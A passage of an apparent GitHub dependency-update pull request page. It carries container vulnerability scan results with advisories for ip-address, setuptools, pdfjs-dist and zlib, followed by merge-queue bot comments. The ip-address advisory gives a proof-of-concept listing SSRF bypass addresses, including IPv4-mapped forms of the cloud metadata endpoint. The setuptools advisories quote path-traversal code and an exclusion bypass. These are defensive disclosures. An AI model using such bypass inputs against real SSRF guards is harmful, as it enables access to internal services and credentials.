>= 10.1.1, <= 10.2.0. The is* classification API was introduced for Address4 in 10.1.1 and extended to Address6 in 10.2.0. Releases before 10.1.1 do not expose this API and are not affected through this vector.

Impact

The misclassification covers the entire ::ffff:0:0/96 range, in both dotted and hex notation and case-insensitively, plus the 64:ff9b::/96 NAT64 well-known prefix:

Address Reported as Actually points at
::ffff:127.0.0.1 / ::ffff:7f00:1 Global unicast loopback (127.0.0.0/8)
::ffff:10.0.0.1 Global unicast RFC 1918 10/8
::ffff:172.16.5.5 Global unicast RFC 1918 172.16/12
::ffff:192.168.1.1 Global unicast RFC 1918 192.168/16
::ffff:169.254.169.254 / ::ffff:a9fe:a9fe Global unicast link-local / cloud metadata (IMDS)
::ffff:100.64.0.1 Global unicast CGNAT 100.64/10
::ffff:0.0.0.0 / ::ffff:255.255.255.255 Global unicast unspecified / broadcast
64:ff9b::7f00:1 / 64:ff9b::a9fe:a9fe NAT64 (well-known) loopback / IMDS via NAT64

For IPv4-mapped addresses the host OS routes to the IPv4 stack, so the misclassification is reachable on any dual-stack host. For NAT64, the classification bypass is unconditional but end-to-end reachability additionally requires a NAT64/DNS64 gateway in the deployment network.

Proof of concept

A guard assembled from these checks lets internal hosts through:

const { Address4, Address6 } = require('ip-address');

// true => block as internal, false => allow outbound
function isBlocked(host) {
  try {
    const a = new Address4(host);
    return a.isPrivate() || a.isLoopback() || a.isLinkLocal() || a.isCGNAT()
        || a.isMulticast() || a.isUnspecified() || a.isBroadcast();
  } catch {}
  try {
    const a = new Address6(host);
    return a.isLoopback() || a.isLinkLocal() || a.isULA()
        || a.isMulticast() || a.isUnspecified();
  } catch {}
  return false;
}

for (const h of ['127.0.0.1', '::1', '10.0.0.1', '8.8.8.8',
                 '::ffff:127.0.0.1', '::ffff:10.0.0.1',
                 '::ffff:169.254.169.254', '64:ff9b::7f00:1']) {
  console.log(isBlocked(h) ? 'BLOCK ' : 'ALLOW ', h);
}

On affected versions this prints (note that every ::ffff:… and 64:ff9b::… internal target is allowed):

BLOCK  127.0.0.1
BLOCK  ::1
BLOCK  10.0.0.1
ALLOW  8.8.8.8
ALLOW  ::ffff:127.0.0.1
ALLOW  ::ffff:10.0.0.1
ALLOW  ::ffff:169.254.169.254
ALLOW  64:ff9b::7f00:1

The first three lines (native loopback, native IPv6 loopback, and a literal RFC 1918 address) are blocked as expected; the IPv4-mapped and NAT64 forms of the same internal destinations are allowed through.

Remediation

Upgrade to the patched release. In the fix, Address6 normalizes IPv4-mapped and NAT64 well-known addresses to their embedded IPv4 address before classifying, via a new embeddedIPv4() helper that isLoopback, isLinkLocal, isMulticast, and isUnspecified consult first. Address6 also gains isPrivate(), isCGNAT(), and isBroadcast() for parity with Address4, and getType() now labels the ::ffff:0:0/96 range as IPv4-mapped. After upgrading, new Address6('::ffff:127.0.0.1').isLoopback() returns true and new Address6('::ffff:10.0.0.1').isPrivate() returns true.

If you cannot upgrade immediately, normalize embedded IPv4 addresses yourself before classifying: call to4() on any address where isMapped4() (or membership in 64:ff9b::/96) is true, and run your IPv4 checks against the result.

A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

Credit

Reported by @OV-0-VO.

critical: 0 high: 1 medium: 1 low: 0 setuptools 70.3.0 (pypi)

pkg:pypi/setuptools@70.3.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.7: CVE--2025--47273 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<78.1.1
Fixed version78.1.1
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score1.503%
EPSS Percentile73rd percentile
Description

Summary

A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1

Details

    def _download_url(self, url, tmpdir):
        # Determine download filename
        #
        name, _fragment = egg_info_for_url(url)
        if name:
            while '..' in name:
                name = name.replace('..', '.').replace('\\', '_')
        else:
            name = "__downloaded__"  # default if URL has no path contents

        if name.endswith('.[egg.zip](http://egg.zip/)'):
            name = name[:-4]  # strip the extra .zip before download

 -->       filename = os.path.join(tmpdir, name)

Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88

os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter.
name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.

Risk Assessment

As easy_install and package_index are deprecated, the exploitation surface is reduced.
However, it seems this could be exploited in a similar fashion like GHSA-r9hx-vwmv-q579, and as described by POC 4 in GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.

Impact

An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.

References

https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5
pypa/setuptools#4946

medium 6.1: CVE--2026--59890 Improper Handling of Unicode Encoding

Affected range<83.0.0
Fixed version83.0.0
CVSS Score6.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
EPSS Score0.405%
EPSS Percentile35th percentile
Description

Summary

When building a source distribution (python -m build --sdist / setup.py sdist), setuptools' FileList applies MANIFEST.in directives (exclude, global-exclude, recursive-exclude, prune) by matching a compiled glob against on-disk file names byte-for-byte, with no Unicode normalization. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a MANIFEST.in rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the .tar.gz and, if published, uploaded to the public, immutable PyPI index.

Details

File names in FileList.files come from os.walk (setuptools/_distutils/filelist.py, _find_all_simple), so on APFS a file written NFD is offered to the matcher in NFD, while the MANIFEST.in pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:

# setuptools/command/egg_info.py  (FileList.global_exclude)
def global_exclude(self, pattern):
    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD
    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names

A rule written NFC (café = 63 61 66 c3 a9) does not match an on-disk name written NFD (café = 63 61 66 65 cc 81), even though the filesystem treats the two as one file.

A unicodedata.normalize('NFD', ...) helper exists in setuptools/unicode_utils.py (decompose()), but it is never called in the manifest matching path, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, EggInfoCommand._manifest_normalize, uses filesys_decode (bytes→str decode only, no NFC/NFD) and runs when writing SOURCES.txt, after matching has already occurred.

Impact

MANIFEST.in exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.

Proof of concept

With a project containing MANIFEST.in:

global-include *.txt *.json
global-exclude secret_café.txt    # rule saved NFC

and an on-disk file secret_café.txt written in NFD, python -m build --sdist packs the secret file into the resulting .tar.gz, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.

Remediation

Normalize both the walked path and each MANIFEST.in pattern to a single canonical form before matching, in both setuptools/command/egg_info.py (FileList) and the vendored setuptools/_distutils/filelist.py. For an exclusion list, err toward excluding more, and document that MANIFEST.in matching is normalization-insensitive on macOS.

Credit

Reported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 3.11.174 (npm)

pkg:npm/pdfjs-dist@3.11.174

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score70.660%
EPSS Percentile99th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 zlib 1.3.2-r2 (apk)

pkg:apk/wolfi/zlib@1.3.2-r2?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2026--85091

Affected range<1.3.2.1_rc20260601-r0
Fixed version1.3.3-r0
EPSS Score0.442%
EPSS Percentile38th percentile
Description
critical: 0 high: 1 medium: 0 low: 0 zlib 1.3.2-r2 (apk)

pkg:apk/wolfi/zlib@1.3.2-r2?arch=x86_64&origin=zlib

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2026--85091

Affected range<1.3.2.1_rc20260601-r0
Fixed version1.3.3-r0
EPSS Score0.442%
EPSS Percentile38th percentile
Description
critical: 0 high: 1 medium: 0 low: 0 zlib 1.3.2-r2 (apk)

pkg:apk/wolfi/zlib@1.3.2-r2?arch=x86_64&distro=wolfi-20230201

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2026--85091

Affected range<1.3.2.1_rc20260601-r0
Fixed version1.3.3-r0
EPSS Score0.442%
EPSS Percentile38th percentile
Description

@mergify

mergify Bot commented Aug 6, 2026 •

Copy link
Copy Markdown
Contributor

Merge Queue Status

This pull request spent 6 minutes 9 seconds in the queue, with no time running CI.

Waiting for
  • check-success = Test Image / API Test
  • any of: [🛡 GitHub repository ruleset rule main]
    • check-neutral = @mergify/Mergify Merge Protections
    • check-skipped = @mergify/Mergify Merge Protections
    • check-success = @mergify/Mergify Merge Protections
All conditions

Reason

The pull request #2838 has been manually updated

Requeued — the merge queue status continues in this comment ↓.

@mergify

mergify Bot commented Aug 6, 2026 •

Copy link
Copy Markdown
Contributor

Merge Queue Status

This pull request spent 8 minutes 49 seconds in the queue, including 8 minutes 22 seconds running CI.

Waiting for
  • check-success = Test Image / API Test
All conditions

Reason

The merge conditions cannot be satisfied due to failing checks

  • Test Image / API Test
  • @mergify/Mergify Merge Protections

Failing checks:

Hint

You may have to fix your CI before adding the pull request to the queue again.
If you update this pull request, to fix the CI, it will automatically be requeued once the queue conditions match again.
If you think this was a flaky issue instead, you can requeue the pull request, without updating it, by posting a @mergifyio queue comment.

Tick the box to put this pull request back in the merge queue (same as @mergifyio queue).

  • Requeue this pull request

@mergify

mergify Bot commented Aug 6, 2026

Copy link
Copy Markdown
Contributor

Hey @renovate[bot], your pull request has been dequeued due to the following reason: CHECKS_FAILED. Sorry about that, but you can requeue the PR by using @mergifyio requeue if you think this was a mistake.

@coderabbitai

coderabbitai Bot commented Sep 10, 2026 •

Copy link
Copy Markdown
Contributor

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Advanced

Run ID: 8b22bca2-bda7-4e4b-aab6-7908c5502c9d

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@renovate

renovate Bot commented Sep 20, 2026

Copy link
Copy Markdown
Contributor Author

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@sonarqubecloud

Copy link
Copy Markdown

This branch had an error being deployed

2 failed and 1 active deployments
code_quality — 8969dff1 Deployed Sep 20, 2026 by mergify[bot] via Lint / Taplo lint #12375
docker_image — 8969dff1 Deployed Sep 20, 2026 by mergify[bot] via Test Image / Cleaning GHCR #12375
container_health — 8969dff1 Deployed Sep 20, 2026 by mergify[bot] via Test Image / Dockle #12375
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file github-actions python uv

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant